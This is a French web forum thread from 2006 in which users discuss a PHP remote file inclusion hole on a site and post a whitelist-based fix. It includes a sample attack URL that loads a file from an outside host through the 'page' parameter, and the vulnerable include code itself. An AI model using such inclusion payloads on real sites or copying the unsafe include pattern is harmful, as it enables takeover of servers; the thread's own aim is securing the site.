http://nintendo-touch.comcom/index.php?page=admin/index

MEEEEEEEEEEEEEEEEEERDE

Et comment on empèche sa ?

je te l´ai deja dit ....
http://phpdebutant.org/article68.php

Tu attend de te faire suspendre par 1and1 pour réagir ?

Enfin, tu attend de te faire suspendre ton hebergement pour réagir ?

On peut pas le hacker

http://www.nintendo-touch.com/index.php?page=http://w4tz4k4mik4ze.free.fr/f

Je pensais que c´était interprété lors d´include n´impcomment.

Snif.

/me sort

Pour le hacker, faut include un .txt

Heu, même ça ne change rien. Regarde le code source de ma page mdr

j´avais jamais vun un <?php ?> dans le code source html ^^

J´ai pas 1 et 1 n´impote quoi

Vu, qu´avec cette faille, tu peut flinguer le serveur, tu as de tres forte chance, de te fait suspendre ton compte

Bref, je comprends pas le code de PHPdebutant

Delta672 bouton profilbouton profil Posté le 18 juin 2006 à 13:49:42 Avertir un administrateur à propos de ce message !
Vu, qu´avec cette faille, tu peut flinguer le serveur, tu as de tres forte chance, de te fait suspendre ton compte

Arf ok

je peux te securiser ton systeme...

<?php

// On définit le tableau contenant les pages aut
orisées
//
--------------------------------------------------
--
$pageOK = array(´news´ => ´news.php´,
´accueil´ => ´accueil.php´);

// On teste que le paramètre d´url existe et qu´
il est bien autorisé
//
--------------------------------------------------
---------------
if ( (isset($_GET[´page´])) && (isset($pageOK[$_
GET[´page´]])) ) {
include($pageOK[$_GET[´page´]]); // Nous app
elons le contenu central de la page
} else {
include(´accueil.php´); // Page par défaut q
uant elle n´existe pas dans le tableau
}

?>

En gros, dans ton array tu met toute les page genre news, actualites etc..;
et comme ca, quand une autre page sera appelé, genre
http://mongole.com/index, vu que c´est pas dans le array, ca te ramenera sur la page d´acceuil

Ah d´acord ! et après sa plus de hack ?

Jusqu´a la c´était sa mon include :

<?php
if
(isset($_GET[´page´])){$page=$_GET[´page´];}else{$
page=´acceuil´;}
include("".$page.".php");
?>

Je vais essayer le tiens delta672

tu peux aussi faire ça (deuxieme item) :
http://simmstein.be/phpcohpcode/?rub=sources&amp;page=4

Chez moi ca a cette geule :
http://simmstein.be/phpcode/?rub=wall&amp;nom=4TXE7OIs&amp;type=php

Tient, dailleurs, je vient de capté, un truc qui tourne pas rond la

Ok ! Bah j´ai essayé ton truc delta et sa me met une erreur.
http://simmstein.be/phpcode/?rub=wall&amp;nom=XafkRKvJ&amp;type=php